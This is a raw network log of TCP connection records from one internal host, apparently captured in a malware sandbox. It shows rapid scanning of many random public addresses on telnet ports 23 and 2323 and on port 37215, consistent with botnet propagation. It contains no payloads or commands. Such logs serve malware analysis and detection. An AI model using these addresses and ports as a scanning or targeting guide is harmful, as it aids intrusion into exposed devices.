Nov 3, 2024 15:37:18.457452059 CET	50610	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:18.457452059 CET	53048	37215	192.168.2.14	156.135.86.124
Nov 3, 2024 15:37:18.457453012 CET	56492	37215	192.168.2.14	197.160.111.112
Nov 3, 2024 15:37:18.457457066 CET	39338	37215	192.168.2.14	41.104.134.176
Nov 3, 2024 15:37:18.457458019 CET	49824	37215	192.168.2.14	41.129.72.93
Nov 3, 2024 15:37:18.457458019 CET	41744	37215	192.168.2.14	156.1.29.107
Nov 3, 2024 15:37:18.457458019 CET	59220	37215	192.168.2.14	197.180.247.83
Nov 3, 2024 15:37:18.457458973 CET	57962	37215	192.168.2.14	197.187.11.183
Nov 3, 2024 15:37:18.457461119 CET	50390	37215	192.168.2.14	197.146.222.70
Nov 3, 2024 15:37:18.457473993 CET	44784	37215	192.168.2.14	156.166.164.0
Nov 3, 2024 15:37:18.457477093 CET	45654	37215	192.168.2.14	41.187.40.170
Nov 3, 2024 15:37:18.462157965 CET	37215	59122	197.198.148.45	192.168.2.14
Nov 3, 2024 15:37:18.462168932 CET	37215	36614	197.142.193.102	192.168.2.14
Nov 3, 2024 15:37:18.462219954 CET	59122	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:18.462219954 CET	36614	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:18.462394953 CET	36614	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:18.462394953 CET	36614	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:18.462409973 CET	36666	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:18.462416887 CET	59122	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:18.462418079 CET	59122	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:18.462430000 CET	59170	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:18.467334986 CET	37215	36614	197.142.193.102	192.168.2.14
Nov 3, 2024 15:37:18.467344999 CET	37215	36666	197.142.193.102	192.168.2.14
Nov 3, 2024 15:37:18.467356920 CET	37215	59122	197.198.148.45	192.168.2.14
Nov 3, 2024 15:37:18.467382908 CET	36666	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:18.467413902 CET	36666	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:18.467973948 CET	37215	59122	197.198.148.45	192.168.2.14
Nov 3, 2024 15:37:18.468094110 CET	37215	36614	197.142.193.102	192.168.2.14
Nov 3, 2024 15:37:18.472583055 CET	37215	36666	197.142.193.102	192.168.2.14
Nov 3, 2024 15:37:18.472625017 CET	36666	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:18.477971077 CET	37215	40914	197.188.33.13	192.168.2.14
Nov 3, 2024 15:37:18.477981091 CET	37215	56290	156.112.101.146	192.168.2.14
Nov 3, 2024 15:37:18.477989912 CET	37215	51862	156.97.250.9	192.168.2.14
Nov 3, 2024 15:37:18.478001118 CET	37215	54480	41.247.170.119	192.168.2.14
Nov 3, 2024 15:37:18.478010893 CET	37215	51816	197.224.117.44	192.168.2.14
Nov 3, 2024 15:37:18.478020906 CET	37215	47912	197.16.70.251	192.168.2.14
Nov 3, 2024 15:37:18.478032112 CET	37215	39952	197.90.159.24	192.168.2.14
Nov 3, 2024 15:37:18.481967926 CET	37215	42402	41.161.10.54	192.168.2.14
Nov 3, 2024 15:37:18.553340912 CET	53818	2323	192.168.2.14	75.150.181.148
Nov 3, 2024 15:37:18.553371906 CET	41104	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:18.553375006 CET	34406	23	192.168.2.14	19.199.76.214
Nov 3, 2024 15:37:18.553394079 CET	60288	23	192.168.2.14	161.1.233.190
Nov 3, 2024 15:37:18.553406954 CET	49652	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.553419113 CET	60546	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:18.553426981 CET	33926	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:18.553441048 CET	50708	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:18.553450108 CET	43310	23	192.168.2.14	77.111.235.119
Nov 3, 2024 15:37:18.553467035 CET	53994	23	192.168.2.14	94.68.223.185
Nov 3, 2024 15:37:18.553473949 CET	43974	23	192.168.2.14	123.125.28.252
Nov 3, 2024 15:37:18.553492069 CET	50654	23	192.168.2.14	108.150.232.220
Nov 3, 2024 15:37:18.553504944 CET	39968	23	192.168.2.14	162.115.254.237
Nov 3, 2024 15:37:18.553510904 CET	38246	23	192.168.2.14	117.161.70.63
Nov 3, 2024 15:37:18.553534985 CET	41258	23	192.168.2.14	48.238.195.77
Nov 3, 2024 15:37:18.553534985 CET	52062	23	192.168.2.14	32.206.16.20
Nov 3, 2024 15:37:18.553551912 CET	33426	23	192.168.2.14	101.82.243.7
Nov 3, 2024 15:37:18.553565025 CET	45312	23	192.168.2.14	65.3.178.217
Nov 3, 2024 15:37:18.553575039 CET	60210	23	192.168.2.14	112.250.69.75
Nov 3, 2024 15:37:18.553586960 CET	37800	23	192.168.2.14	91.221.171.240
Nov 3, 2024 15:37:18.553595066 CET	54540	23	192.168.2.14	43.106.152.250
Nov 3, 2024 15:37:18.553607941 CET	42716	23	192.168.2.14	62.187.118.119
Nov 3, 2024 15:37:18.558404922 CET	2323	53818	75.150.181.148	192.168.2.14
Nov 3, 2024 15:37:18.558443069 CET	23	41104	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:18.558454990 CET	23	34406	19.199.76.214	192.168.2.14
Nov 3, 2024 15:37:18.558465958 CET	23	60288	161.1.233.190	192.168.2.14
Nov 3, 2024 15:37:18.558511972 CET	53818	2323	192.168.2.14	75.150.181.148
Nov 3, 2024 15:37:18.558512926 CET	60288	23	192.168.2.14	161.1.233.190
Nov 3, 2024 15:37:18.558528900 CET	41104	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:18.558549881 CET	34406	23	192.168.2.14	19.199.76.214
Nov 3, 2024 15:37:18.563080072 CET	23	49652	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.563092947 CET	23	60546	83.55.127.80	192.168.2.14
Nov 3, 2024 15:37:18.563102007 CET	23	33926	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:18.563112974 CET	2323	50708	90.74.165.178	192.168.2.14
Nov 3, 2024 15:37:18.563117981 CET	23	43310	77.111.235.119	192.168.2.14
Nov 3, 2024 15:37:18.563148022 CET	49652	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.563164949 CET	60546	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:18.563169003 CET	33926	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:18.563195944 CET	43310	23	192.168.2.14	77.111.235.119
Nov 3, 2024 15:37:18.563196898 CET	50708	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:18.564457893 CET	23	34406	19.199.76.214	192.168.2.14
Nov 3, 2024 15:37:18.564572096 CET	34406	23	192.168.2.14	19.199.76.214
Nov 3, 2024 15:37:18.564642906 CET	34904	23	192.168.2.14	19.199.76.214
Nov 3, 2024 15:37:18.568346024 CET	23	49652	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.568473101 CET	49652	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.568499088 CET	50148	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.568557024 CET	23	60546	83.55.127.80	192.168.2.14
Nov 3, 2024 15:37:18.568654060 CET	60546	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:18.568686008 CET	32810	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:18.568697929 CET	23	33926	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:18.568790913 CET	33926	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:18.568826914 CET	34422	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:18.569253922 CET	2323	50708	90.74.165.178	192.168.2.14
Nov 3, 2024 15:37:18.569264889 CET	23	43310	77.111.235.119	192.168.2.14
Nov 3, 2024 15:37:18.569361925 CET	50708	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:18.569400072 CET	51204	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:18.569417000 CET	43310	23	192.168.2.14	77.111.235.119
Nov 3, 2024 15:37:18.569452047 CET	43806	23	192.168.2.14	77.111.235.119
Nov 3, 2024 15:37:18.573214054 CET	23	34406	19.199.76.214	192.168.2.14
Nov 3, 2024 15:37:18.573225021 CET	23	34904	19.199.76.214	192.168.2.14
Nov 3, 2024 15:37:18.573306084 CET	34904	23	192.168.2.14	19.199.76.214
Nov 3, 2024 15:37:18.573369980 CET	23	49652	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.573380947 CET	23	50148	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.573452950 CET	50148	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.573503971 CET	23	60546	83.55.127.80	192.168.2.14
Nov 3, 2024 15:37:18.574074984 CET	23	33926	91.217.59.175	192.168.2.14
Nov 3, 2024 15:37:18.578130007 CET	2323	50708	90.74.165.178	192.168.2.14
Nov 3, 2024 15:37:18.578140020 CET	23	43310	77.111.235.119	192.168.2.14
Nov 3, 2024 15:37:18.579256058 CET	23	50148	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.579370975 CET	50148	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.579400063 CET	50158	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.584125042 CET	23	50148	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.584219933 CET	23	50158	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.584275961 CET	50158	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.589293003 CET	23	50158	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.589391947 CET	50158	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.589427948 CET	50160	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.594400883 CET	23	50158	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.594412088 CET	23	50160	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.594469070 CET	50160	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.599626064 CET	23	50160	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.599734068 CET	50160	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.599759102 CET	50162	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.604706049 CET	23	50160	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.604717970 CET	23	50162	101.191.226.88	192.168.2.14
Nov 3, 2024 15:37:18.604789019 CET	50162	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:18.745398045 CET	46540	443	192.168.2.14	185.125.190.26
Nov 3, 2024 15:37:19.036223888 CET	23	53136	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:19.036531925 CET	53136	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:19.036633968 CET	53202	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:19.041544914 CET	23	53136	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:19.041589022 CET	23	53202	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:19.041676044 CET	53202	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:19.163021088 CET	37215	56664	41.1.26.153	192.168.2.14
Nov 3, 2024 15:37:19.163139105 CET	56664	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:19.193346024 CET	44016	2323	192.168.2.14	76.219.225.187
Nov 3, 2024 15:37:19.193361998 CET	45984	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:19.193377018 CET	37356	23	192.168.2.14	58.242.212.93
Nov 3, 2024 15:37:19.193401098 CET	42506	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:19.193401098 CET	33938	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:19.193418980 CET	59936	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:19.193434000 CET	51246	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:19.193443060 CET	55834	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:19.193453074 CET	38814	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:19.193469048 CET	48664	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:19.193483114 CET	45054	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:19.193491936 CET	43216	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:19.193507910 CET	42300	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:19.193522930 CET	51972	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:19.193530083 CET	59634	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:19.193538904 CET	36120	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:19.193557978 CET	59052	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:19.193569899 CET	51498	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:19.193579912 CET	42614	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:19.193593025 CET	33018	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:19.193599939 CET	53174	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:19.193614960 CET	40062	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:19.193627119 CET	48258	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:19.193644047 CET	37088	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:19.193648100 CET	34670	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:19.193650007 CET	34974	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:19.193665028 CET	49764	23	192.168.2.14	61.152.193.65
Nov 3, 2024 15:37:19.193674088 CET	49746	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:19.193684101 CET	43472	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:19.193701029 CET	52076	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:19.193703890 CET	55948	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:19.193721056 CET	37890	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:19.193730116 CET	52834	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:19.193738937 CET	56592	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:19.193749905 CET	40990	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:19.193764925 CET	54948	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:19.193768978 CET	49896	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:19.193795919 CET	51156	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:19.193798065 CET	50938	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:19.193813086 CET	39654	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:19.193815947 CET	48660	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:19.193830013 CET	41344	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:19.193837881 CET	43744	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:19.193854094 CET	34072	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:19.193866014 CET	53038	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:19.193872929 CET	51820	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:19.193887949 CET	38024	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:19.193893909 CET	45288	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:19.193909883 CET	33312	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:19.193931103 CET	36736	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:19.193932056 CET	58160	23	192.168.2.14	63.90.192.76
Nov 3, 2024 15:37:19.193936110 CET	38626	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:19.193936110 CET	38050	23	192.168.2.14	194.101.242.236
Nov 3, 2024 15:37:19.193950891 CET	33442	23	192.168.2.14	98.45.148.70
Nov 3, 2024 15:37:19.193963051 CET	45356	23	192.168.2.14	211.167.163.250
Nov 3, 2024 15:37:19.193975925 CET	52788	23	192.168.2.14	114.56.113.73
Nov 3, 2024 15:37:19.193986893 CET	54364	23	192.168.2.14	82.179.1.22
Nov 3, 2024 15:37:19.193996906 CET	58866	2323	192.168.2.14	211.170.10.153
Nov 3, 2024 15:37:19.198376894 CET	2323	44016	76.219.225.187	192.168.2.14
Nov 3, 2024 15:37:19.198437929 CET	23	37356	58.242.212.93	192.168.2.14
Nov 3, 2024 15:37:19.198498011 CET	44016	2323	192.168.2.14	76.219.225.187
Nov 3, 2024 15:37:19.198507071 CET	23	45984	119.240.78.133	192.168.2.14
Nov 3, 2024 15:37:19.198519945 CET	23	42506	74.102.159.6	192.168.2.14
Nov 3, 2024 15:37:19.198524952 CET	37356	23	192.168.2.14	58.242.212.93
Nov 3, 2024 15:37:19.198534966 CET	23	33938	150.250.80.200	192.168.2.14
Nov 3, 2024 15:37:19.198548079 CET	23	59936	204.18.191.177	192.168.2.14
Nov 3, 2024 15:37:19.198565006 CET	23	51246	223.188.142.32	192.168.2.14
Nov 3, 2024 15:37:19.198575974 CET	23	55834	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:19.198585987 CET	23	38814	90.166.154.147	192.168.2.14
Nov 3, 2024 15:37:19.198596954 CET	45984	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:19.198597908 CET	23	48664	223.192.77.224	192.168.2.14
Nov 3, 2024 15:37:19.198610067 CET	23	45054	126.245.223.231	192.168.2.14
Nov 3, 2024 15:37:19.198615074 CET	42506	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:19.198615074 CET	33938	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:19.198636055 CET	23	43216	150.249.119.122	192.168.2.14
Nov 3, 2024 15:37:19.198637009 CET	51246	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:19.198668003 CET	48664	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:19.198669910 CET	59936	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:19.198669910 CET	55834	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:19.198669910 CET	38814	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:19.198687077 CET	43216	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:19.198692083 CET	45054	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:19.198796034 CET	36201	2323	192.168.2.14	196.216.135.182
Nov 3, 2024 15:37:19.198813915 CET	36201	23	192.168.2.14	42.108.174.238
Nov 3, 2024 15:37:19.198822975 CET	36201	23	192.168.2.14	103.41.165.22
Nov 3, 2024 15:37:19.198839903 CET	36201	23	192.168.2.14	146.228.123.125
Nov 3, 2024 15:37:19.198862076 CET	36201	23	192.168.2.14	62.248.108.125
Nov 3, 2024 15:37:19.198867083 CET	36201	23	192.168.2.14	87.71.47.234
Nov 3, 2024 15:37:19.198899031 CET	36201	23	192.168.2.14	37.164.130.226
Nov 3, 2024 15:37:19.198911905 CET	36201	23	192.168.2.14	103.193.226.14
Nov 3, 2024 15:37:19.198945999 CET	36201	23	192.168.2.14	32.53.50.231
Nov 3, 2024 15:37:19.198945999 CET	36201	23	192.168.2.14	185.36.180.177
Nov 3, 2024 15:37:19.198965073 CET	36201	2323	192.168.2.14	146.251.99.173
Nov 3, 2024 15:37:19.198988914 CET	36201	23	192.168.2.14	216.136.62.182
Nov 3, 2024 15:37:19.199007034 CET	36201	23	192.168.2.14	183.232.158.232
Nov 3, 2024 15:37:19.199023008 CET	36201	23	192.168.2.14	86.87.105.193
Nov 3, 2024 15:37:19.199037075 CET	36201	23	192.168.2.14	96.106.8.229
Nov 3, 2024 15:37:19.199054956 CET	2323	42300	111.165.24.13	192.168.2.14
Nov 3, 2024 15:37:19.199063063 CET	36201	23	192.168.2.14	81.226.123.243
Nov 3, 2024 15:37:19.199067116 CET	23	51972	181.62.171.211	192.168.2.14
Nov 3, 2024 15:37:19.199076891 CET	23	59634	192.23.173.227	192.168.2.14
Nov 3, 2024 15:37:19.199088097 CET	23	36120	14.249.99.146	192.168.2.14
Nov 3, 2024 15:37:19.199093103 CET	23	59052	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:19.199094057 CET	36201	23	192.168.2.14	65.58.172.250
Nov 3, 2024 15:37:19.199112892 CET	51972	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:19.199129105 CET	42300	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:19.199135065 CET	36201	23	192.168.2.14	48.97.225.60
Nov 3, 2024 15:37:19.199136972 CET	36201	23	192.168.2.14	117.253.195.181
Nov 3, 2024 15:37:19.199145079 CET	2323	51498	188.113.175.72	192.168.2.14
Nov 3, 2024 15:37:19.199155092 CET	23	42614	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:19.199162006 CET	59634	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:19.199162960 CET	36201	23	192.168.2.14	162.7.93.39
Nov 3, 2024 15:37:19.199165106 CET	23	33018	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:19.199187994 CET	36120	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:19.199193001 CET	59052	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:19.199206114 CET	51498	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:19.199208975 CET	23	53174	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:19.199217081 CET	42614	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:19.199220896 CET	23	40062	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:19.199240923 CET	33018	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:19.199244022 CET	23	48258	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:19.199250937 CET	53174	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:19.199260950 CET	23	37088	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:19.199270964 CET	40062	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:19.199271917 CET	23	34670	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:19.199275017 CET	36201	2323	192.168.2.14	81.220.69.248
Nov 3, 2024 15:37:19.199285984 CET	48258	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:19.199289083 CET	23	34974	99.30.146.82	192.168.2.14
Nov 3, 2024 15:37:19.199300051 CET	37088	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:19.199309111 CET	23	49764	61.152.193.65	192.168.2.14
Nov 3, 2024 15:37:19.199325085 CET	23	49746	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:19.199331045 CET	34670	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:19.199336052 CET	2323	43472	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:19.199336052 CET	34974	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:19.199347019 CET	23	52076	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:19.199356079 CET	49764	23	192.168.2.14	61.152.193.65
Nov 3, 2024 15:37:19.199357986 CET	23	55948	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:19.199368000 CET	23	37890	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:19.199378967 CET	49746	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:19.199379921 CET	43472	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:19.199381113 CET	23	52834	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:19.199392080 CET	23	56592	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:19.199404955 CET	52076	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:19.199409962 CET	37890	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:19.199418068 CET	55948	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:19.199429989 CET	52834	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:19.199441910 CET	56592	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:19.199469090 CET	36201	23	192.168.2.14	82.36.67.248
Nov 3, 2024 15:37:19.199484110 CET	36201	23	192.168.2.14	119.60.210.76
Nov 3, 2024 15:37:19.199496031 CET	36201	23	192.168.2.14	220.9.95.203
Nov 3, 2024 15:37:19.199512959 CET	36201	23	192.168.2.14	125.2.117.146
Nov 3, 2024 15:37:19.199539900 CET	36201	23	192.168.2.14	96.37.151.117
Nov 3, 2024 15:37:19.199563980 CET	36201	23	192.168.2.14	107.72.210.37
Nov 3, 2024 15:37:19.199588060 CET	36201	23	192.168.2.14	71.73.179.55
Nov 3, 2024 15:37:19.199592113 CET	23	40990	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:19.199613094 CET	36201	23	192.168.2.14	57.165.100.127
Nov 3, 2024 15:37:19.199630022 CET	23	54948	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:19.199635983 CET	40990	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:19.199640989 CET	23	49896	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:19.199645996 CET	23	51156	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:19.199660063 CET	36201	23	192.168.2.14	101.10.105.90
Nov 3, 2024 15:37:19.199661016 CET	2323	50938	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:19.199671984 CET	23	39654	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:19.199676991 CET	36201	2323	192.168.2.14	188.82.179.46
Nov 3, 2024 15:37:19.199690104 CET	23	48660	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:19.199692965 CET	54948	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:19.199701071 CET	36201	23	192.168.2.14	221.188.133.116
Nov 3, 2024 15:37:19.199709892 CET	23	41344	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:19.199718952 CET	49896	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:19.199728012 CET	23	43744	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:19.199736118 CET	50938	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:19.199738026 CET	51156	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:19.199744940 CET	39654	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:19.199759960 CET	36201	23	192.168.2.14	107.145.53.182
Nov 3, 2024 15:37:19.199764967 CET	36201	23	192.168.2.14	153.168.200.194
Nov 3, 2024 15:37:19.199771881 CET	36201	23	192.168.2.14	217.100.252.142
Nov 3, 2024 15:37:19.199779034 CET	36201	23	192.168.2.14	184.220.93.183
Nov 3, 2024 15:37:19.199796915 CET	48660	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:19.199800014 CET	36201	23	192.168.2.14	69.209.100.166
Nov 3, 2024 15:37:19.199815989 CET	41344	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:19.199829102 CET	43744	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:19.199840069 CET	36201	23	192.168.2.14	69.228.9.69
Nov 3, 2024 15:37:19.199851990 CET	23	34072	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:19.199862003 CET	23	53038	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:19.199866056 CET	36201	23	192.168.2.14	91.236.59.169
Nov 3, 2024 15:37:19.199877024 CET	23	51820	58.59.189.111	192.168.2.14
Nov 3, 2024 15:37:19.199887991 CET	23	38024	210.39.80.43	192.168.2.14
Nov 3, 2024 15:37:19.199898005 CET	23	45288	90.135.11.2	192.168.2.14
Nov 3, 2024 15:37:19.199903011 CET	34072	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:19.199908972 CET	23	33312	186.41.150.45	192.168.2.14
Nov 3, 2024 15:37:19.199919939 CET	23	36736	223.68.115.148	192.168.2.14
Nov 3, 2024 15:37:19.199923038 CET	53038	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:19.199937105 CET	23	58160	63.90.192.76	192.168.2.14
Nov 3, 2024 15:37:19.199938059 CET	38024	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:19.199947119 CET	2323	38626	192.84.103.134	192.168.2.14
Nov 3, 2024 15:37:19.199949980 CET	51820	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:19.199955940 CET	45288	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:19.199958086 CET	23	38050	194.101.242.236	192.168.2.14
Nov 3, 2024 15:37:19.199964046 CET	36736	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:19.199970007 CET	23	33442	98.45.148.70	192.168.2.14
Nov 3, 2024 15:37:19.199980021 CET	23	45356	211.167.163.250	192.168.2.14
Nov 3, 2024 15:37:19.199989080 CET	33312	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:19.199990034 CET	23	52788	114.56.113.73	192.168.2.14
Nov 3, 2024 15:37:19.199995995 CET	38626	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:19.199999094 CET	38050	23	192.168.2.14	194.101.242.236
Nov 3, 2024 15:37:19.200007915 CET	23	54364	82.179.1.22	192.168.2.14
